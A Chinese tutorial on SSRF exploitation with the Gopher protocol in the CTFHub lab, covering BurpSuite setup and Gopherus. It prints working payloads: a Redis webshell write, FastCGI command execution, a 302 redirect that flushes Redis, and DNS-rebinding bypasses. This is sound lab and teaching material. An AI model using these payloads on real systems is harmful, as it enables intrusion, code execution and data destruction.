当前位置: 首页 > news >正文

从CTFHub靶场实战出发:手把手教你用Gopher协议打穿SSRF(附BurpSuite配置)

CTFHub靶场实战:Gopher协议在SSRF攻击中的高阶应用

第一次接触SSRF漏洞时,我被它那种"借刀杀人"的特性深深吸引——一个看似无害的Web请求,竟能成为穿透内网的利器。而Gopher协议,则是这把利刃上最锋利的刀锋。记得在去年某次CTF比赛中,我花了整整六小时与一个Redis未授权访问漏洞搏斗,直到发现Gopher协议这个突破口,那种豁然开朗的感觉至今难忘。本文将带你从实战角度,用CTFHub靶场作为演练场,一步步拆解如何用Gopher协议这把"瑞士军刀"玩转SSRF攻击。

1. 环境准备与基础认知

1.1 实验环境搭建

工欲善其事,必先利其器。我们需要准备以下环境组件:

  • CTFHub SSRF靶场:选择"Gopher协议攻击"专题场景
  • BurpSuite Community/Professional:建议2023.6以上版本
  • Gopherus工具:GitHub开源项目(安装命令如下)
git clone https://github.com/tarunkant/Gopherus cd Gopherus && chmod +x gopherus.py
  • Python3环境:用于运行辅助脚本
  • Redis服务:本地搭建用于测试(非必须但建议)

提示:所有实验应在隔离环境进行,避免对真实系统造成影响

1.2 Gopher协议特性解析

Gopher这个诞生于1991年的古老协议,在现代Web安全中焕发了第二春。它的几个关键特性使其成为SSRF利器:

特性安全利用价值
支持多行文本输入可构造完整协议报文
默认端口70可覆盖能指定任意攻击端口
协议简单无加密便于手工构造Payload
服务端自动解析无需客户端特殊支持

在CTFHub的SSRF题目中,我们主要利用它来封装其他协议的通信过程。比如下面这个最简单的测试Payload:

gopher://127.0.0.1:6379/_INFO

这个请求会向本地的Redis服务(6379端口)发送INFO命令,如果存在未授权访问,将返回Redis服务信息。

2. 实战攻击链构建

2.1 Redis未授权访问利用

Redis的未授权访问漏洞是CTF中的常客。通过Gopher协议,我们可以实现完整的攻击流程:

  1. 信息收集:确认Redis服务存在
  2. 写入Webshell:通过config设置目录
  3. 执行命令:写入crontab或ssh key

使用Gopherus工具生成攻击Payload:

./gopherus.py --exploit redis

工具会交互式引导生成Payload,典型输出如下:

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$30%0d%0a%0a%0a%3C?php system($_GET[cmd]);?%3E%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

在BurpSuite中发送时需要注意:

  1. 对%字符进行二次URL编码→%25
  2. 确认靶机Redis确实运行在6379端口
  3. 观察响应长度变化判断是否成功

2.2 FastCGI协议攻击

当发现目标服务器运行PHP-FPM时,FastCGI是更致命的攻击向量。关键步骤:

  • 定位PHP-FPM端口(通常9000)
  • 构造恶意PHP_VALUE环境变量
  • 执行任意系统命令

使用Gopherus生成Payload的bash命令:

./gopherus.py --exploit fastcgi

生成的Payload结构解析:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20none%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%06%04%00%3C?php system('id');?%3E%00%00%00%00

在CTFHub靶场中,我们常需要调整的关键参数:

  • SCRIPT_FILENAME:目标PHP文件路径
  • 命令执行部分:system('id')可替换为其他命令
  • 端口号:非标准端口时需要修改

3. 高级绕过技巧

3.1 DNS重绑定实战

当遇到IP黑名单限制时,DNS重绑定是绝佳的绕过手段。实施流程:

  1. 注册可控域名(或使用免费动态DNS)
  2. 设置极短TTL(如1秒)
  3. 首次解析返回合法IP,后续解析返回127.0.0.1

使用BurpSuite的Collaborator功能验证:

  1. 在Burp→Project options→Misc中找到Collaborator server
  2. 生成一个Collaborator域名如:xxxxxx.oastify.com
  3. 在DNS配置中设置交替解析

攻击Payload示例:

http://yourdomain.oastify.com/flag.php

3.2 302跳转利用

利用服务端会跟随302跳转的特性,可以构造这样的攻击链:

  1. 搭建一个简单的PHP跳转页面
<?php header("Location: gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a"); ?>
  1. 通过外部URL触发SSRF
http://vuln-site.com/ssrf.php?url=http://your-server.com/redirect.php
  1. 服务端会跟随跳转到Gopher协议攻击Redis

3.3 非标准端口探测

内网服务往往运行在非标准端口,我们可以用Burp的Intruder模块进行高效探测:

  1. 捕获基础请求发送到Intruder
  2. 设置攻击类型为"Sniper"
  3. 在端口位置设置Payload:
Payload type: Numbers From: 1 To: 65535 Step: 1
  1. 添加Gopher协议前缀为Payload Processing规则
  2. 根据响应长度/状态码筛选有效端口

4. BurpSuite高效工作流

4.1 自动化Payload生成

通过Burp的Macros功能实现自动化:

  1. 记录登录等必要操作流程
  2. 在Project options→Sessions中添加新Macro
  3. 在Macro编辑中添加"Custom Parameter"处理Gopher Payload

典型处理规则:

base64(URLencode(gopher_payload))

4.2 Intruder攻击模板

针对不同协议可保存攻击模板:

Redis未授权模板

  • Payload set:
    *1%0d%0a$8%0d%0aflushall%0d%0a *1%0d%0a$4%0d%0ainfo%0d%0a
  • Payload processing:
    URL encode→Add prefix "gopher://127.0.0.1:6379/_"

FastCGI模板

  • 使用Pitchfork攻击类型
  • 设置两个Payload位置:
    1. PHP文件路径
    2. 要执行的系统命令

4.3 响应差异分析技巧

在端口/服务探测时,关键响应特征:

服务类型成功响应特征失败响应特征
Redis+PONG/-ERR连接超时
MySQL错误包头TCP RST
FastCGI空响应连接拒绝
HTTP状态码200404/403

在实战中发现,Redis服务成功执行命令后通常会返回"+OK",而FastCGI攻击成功时往往返回空白响应——这种反直觉的现象需要特别注意。

http://www.jsqmd.com/news/668840/

相关文章:

  • 瓶子倒水二分法:最大化最小值
  • 下篇:Python 多任务编程入门(二)—— 进程同步、进程池与注意事项
  • leetcode热题 - 3
  • 力扣-142.环形指针
  • Delphi 10.4.2 实战:手把手教你用FMXLinux在Ubuntu上跑通第一个GUI程序
  • 从kHz到EHz:揭秘频率单位阶梯的换算逻辑与工程应用场景
  • Django 后台导出数据功能的实现
  • Gemini出点问题-----解决
  • 手写一个最小 Starter:从 0 到能看懂
  • 考研复习Day 16 | 数据结构与算法 --树与二叉树(上)
  • AI Agent Harness Engineering 的部署架构:单体部署、分布式部署与混合云
  • 终极BT下载加速指南:每天更新的Tracker列表让你的下载速度翻倍
  • FastAPI 项目 PyInstaller 打包 exe 全踩坑根治教程(Windows 全电脑通用分发)
  • 企业云盘选型标准合同条款:数据归属/服务等级/SLA全解析
  • 探究分享从对话到执行:OpenTiny NEXT 如何重塑前端智能化开发范式
  • STM32 IAP升级踩坑实录:BootLoader跳转失败、向量表重置、Flash分区冲突,我是如何解决的?
  • ControlSizePyQt - PyQt 版本的统一尺寸和颜色管理系统
  • 网络工程师必看:H3C与华为认证体系的前世今生及备考选择指南
  • 淘一个二手铷原子钟并用起来的过程
  • 从卖不出去到月入15000,贵阳这两家公司凭什么让销售翻身? - 精选优质企业推荐官
  • 一文看懂推荐系统:排序09:Field-aware Factorization Machines (FFM) 的工业界冷思考:为何从FM到FFM的改进叫好不叫座?
  • uni-app怎么实现弹窗 uni-app自定义模态框遮罩层【代码】
  • ESP32上传图片到巴法云,除了HTTPClient,你还可以试试这个库
  • 频谱分析仪
  • Qt Quick项目实战:用KDDockWidgets 1.4.0为你的QML界面添加可拖拽停靠面板(附源码)
  • C语言学习日志
  • 学习分享数据结构对比
  • Spring Boot 自动装配原理(面试版 + 实战理解版)
  • 老年人扎堆学AI,背后藏着千亿级银发经济新蓝海
  • 别再让Quartus默认的1GHz时钟坑了你!手把手教你为FPGA点灯工程写SDC约束文件